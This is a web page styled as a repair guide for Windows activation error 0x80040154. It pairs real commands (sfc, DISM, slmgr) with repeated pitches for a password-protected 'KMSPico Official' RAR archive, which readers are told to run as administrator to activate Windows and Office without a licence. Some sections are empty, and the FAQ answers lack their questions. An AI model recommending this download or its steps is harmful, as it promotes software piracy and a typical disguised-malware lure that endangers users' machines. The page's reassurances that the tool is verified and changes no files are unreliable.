← Back to Home

Windows Activation Error 0x80040154

Last updated: June 2, 2026

Class Not Registered. This guide explains the root cause and walks you through the proven fix - usually resolved in under five minutes.

Verified Download - KMSPico Official
KMSPico_Official_v10.2.0.rar
Archive password: 123456  ·  8.3 MB  ·  v10.2.0
Download KMSPico
Extract with WinRAR using the password above, then run as administrator. Works on Windows 10, 11, Server & Office.
0x80040154
Class Not Registered
The Software Protection Platform (SPP) service or a required COM component is not properly registered in Windows.
1
Re-register SPP
Open elevated command prompt: net stop sppsvc && regsvr32 sppc.dll && net start sppsvc
2
Run System File Checker
Run sfc /scannow in elevated CMD to repair any broken component registrations.
3
Apply KMS activation
After restoring the service, run KMSPico or manually run slmgr /ato.
4
Verify
Run slmgr /xpr to confirm activation.

Reset License with slmgr

Run these commands in an elevated Command Prompt (right-click → Run as administrator):

> slmgr /rearm
> slmgr /ato
> slmgr /xpr

What error 0x80040154 means

0x80040154 is the "Class not registered" COM error. In an activation context it means a system component the licensing service depends on - usually part of the Software Protection Platform - isn't properly registered with Windows. It sounds technical, but it's a registration glitch that's straightforward to repair.

Why it occurs

How to fix it

Restoring the component and re-running activation clears the error. The simplest approach is to let KMSPico re-apply activation, which reinitialises the licensing path. If you're repairing manually, run sfc /scannow to restore system files, ensure the Software Protection service is started, then re-run the slmgr commands from an elevated prompt.

Related repair-type errors: 0x80073712 and 0x80070002.

Class Not Registered. It indicates the software protection platform (SPP) service or a required COM component is not properly registered in Windows. Follow the steps above to resolve it.
Yes. In most cases this error is fixable without reinstalling Windows by running the appropriate slmgr commands or downloading a fresh KMS activation package.
Yes. KMSPico resets the license state and applies a fresh KMS activation, which resolves most Windows activation errors including this one.

How activation works behind 0X80040154

To understand 0X80040154 it helps to know where Windows keeps its activation state. Two areas matter: the component store, which holds the system files that servicing and licensing rely on, and the token store, which holds the licence tokens themselves. When an update is interrupted or a disk hiccup damages either area, the licensing service can no longer read a consistent picture of your licence and raises an error. This is why simply retrying activation does not help; the data underneath is inconsistent. Repairing the component store with DISM, replacing damaged files with SFC, and then rebuilding the token store restores the foundation so a fresh activation has something solid to write to.

Manual fix versus automatic activation

Manually, the fix is a repair sequence: DISM, then SFC, then a token-store rebuild, then re-activation. Automatically, a tool can perform the final activation step once the repairs are done, giving Windows a clean licence to settle on.

Both routes end at the same place: a Windows installation that reports itself as permanently activated. The manual path gives you full visibility into each step, while the automatic path trades that visibility for speed and fewer chances to mistype a command. Neither changes your files or your data; they only write the licensing state that 0X80040154 was blocking.

Fixing 0X80040154 with local KMS activation

Because 0X80040154 is rooted in damaged licensing components rather than configuration, the durable fix is to repair the underlying files first and then write a clean activation state on top. Local KMS activation is a good final step here: once the component store and token store are healthy, applying a fresh volume activation gives Windows a known-good licence to work from.

Full manual walkthrough for 0X80040154

  1. Repair the component store Run DISM /Online /Cleanup-Image /RestoreHealth to fix the servicing store from Windows Update.
  2. Repair system files Follow with sfc /scannow to replace any remaining corrupted files.
  3. Rebuild the token store Stop the Software Protection service, rename the tokens data file, then restart the service so a fresh store is created.
  4. Re-activate Run slmgr /ato and confirm with slmgr /xpr.

If you would rather not run each command by hand, a one-click tool performs the same sequence and reports the licensed state when it finishes.

Preventing 0X80040154 in the future

No. DISM and SFC repair system components only; your personal files are not touched by these commands.
A failed or interrupted update can leave licensing components damaged, which is exactly what this code reflects.

Get the KMSPico Official Bundle

Download the verified release and start activating Windows or Office in seconds.

Archive password: 123456

Download KMSPico RAR